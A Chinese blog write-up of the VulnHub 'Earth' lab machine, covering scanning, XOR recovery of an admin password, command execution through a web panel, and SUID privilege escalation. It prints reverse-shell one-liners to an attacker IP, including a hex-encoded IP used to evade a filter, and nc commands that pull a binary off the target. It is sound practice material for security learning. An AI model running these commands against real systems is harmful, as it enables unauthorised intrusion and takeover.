VulnHub:Earth靶机实战

信息收集

主机发现and端口扫描

nmap 192.168.56.0/24 -sN -T4
# 结果是open|filtered,即无法确定端口是开放还被过滤,换个扫描方式试试。
# -Pn非ping扫描试一下
nmap 192.168.56.0/24 -Pn -T4

获取主机详细的信息。

nmap 192.168.56.134 -A -T4

攻击机ip靶机ip
192.168.56.128192.168.56.134

这个时候发现全是400Bad Request怎么搞,访问80、443通通400。再仔细看看综合扫描内容,发现DNS解析,到/etc/hosts加上。

vim /etc/hosts
# 添加如下内容
靶机ip earth.local
靶机ip terratest.earth.local

再次访问页面正常了。

http://earth.localhttp://terratest.earth.local/页面内容如下:

根据页面内容猜测是一个用于加密明文的页面。

试试https协议,https://terratest.earth.local/

目录扫描

接下来进行目录扫描,用到dirsearch和dirb两个工具(两个都用保证全部扫到),都是kali自带的。

https://terratest.earth.local/

首先扫描https://terratest.earth.local/扫出一个robots.txt。

robots.txt。

最后一个文件给出了名字不知道后缀名,总共就那么多常见后缀名,测试发现是txt文件。

这段话翻译后可以得知几个信息:

  1. XOR加密

  2. testdata.txt用来测试加密

  3. terra是管理员用户名

  4. 消息页面也管理面板页面很基础,可能存在漏洞?

总而言之,表示接下来需要将testdata.txt与某段字符进行XOR加密,结果很可能是terra的密码。

http://earth.local和http://terratest.earth.local/

扫描这两个网址,结果一致,如下:

渗透

XOR

根据前面收集的信息,有一个testdata.txt文件在https://terratest.earth.local网站目录下,看看内容,翻译后没什么信息。

从已知信息知道,这个文本是用作加密测试用的,XOR异或,那么密钥是什么。http://earth.localhttp://terratest.earth.local/页面中都有三段16进制字符串,可能是密钥。

找个在线网站将testdata.txt内容转化为16进制再分别与三个可能进行异或。由于异或后的结果是十进制,就需要转换为16进制在转字符串。测试发现最后一段字符串是真正的密钥。将异或结果转为16进制后转字符串,最终结果如下:

仔细看过后,得出earthclimatechangebad4humans

terra登录

访问http://earth.local/admin后进入登录页面。

用户名:terra
密码:earthclimatechangebad4humans

登录后出现一个命令输入框,可以命令执行。

既然是命令执行那就可以找flag。测试发现cd命令用不了,那么使用find命令搜索所有包含flag的txt文件再用cat直接查看flag文件。

find / -name "*flag*.txt"

找到第一个flag。

反弹shell

# 攻击机开启监听
nc -lvnp 7777
# 反弹shell
bash -i >& /dev/tcp/192.168.56.128/7777 0>&1

提示远程连接被禁止,没有成功,应该是被过滤了。尝试进制绕过。把ip地址转16进制试试。

# 反弹shell
bash -i >& /dev/tcp/0xc0.0xa8.0x38.0x80/7777 0>&1

成功。

提权

反弹shell得到普通用户权限,需要进一步提权。suid提权,找具有root权限的SUID的文件。

find / -perm -u=s -type f 2>/dev/null

/usr/bin/reset_root,重置密码?查看内容发现很多乱码,但是有一句是root密码重置为Earth。

用Earth登录root失败。

登陆失败,那就是/usr/bin/reset_root没重置成功?

翻译后发现好像是因为所有触发器不存在。那就是文件本身出问题了,在目标机中乱码我也看不懂,先把文件搞到攻击机上。

# 攻击机激活nc监听
nc -lp 6666 > reset_root
# 目标机发送文件
nc -v 192.168.56.128 6666 < /usr/bin/reset_root

攻击机接收到了。

接下来使用文件分析工具strace检查文件运行过程。

strace ./reset_root

结果显示没有这三个文件或目录,在目标机中新建,再运行reset_root

touch /dev/shm/kHgTFI5G
touch /dev/shm/Zw7bV9U
touch /tmp/kcM0Wewe
# 运行
/usr/bin/reset_root

运行后显示成功重置root密码为Earth。

成功拿到root用户权限。

找找flag。

🎆搞定!

  • 12
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值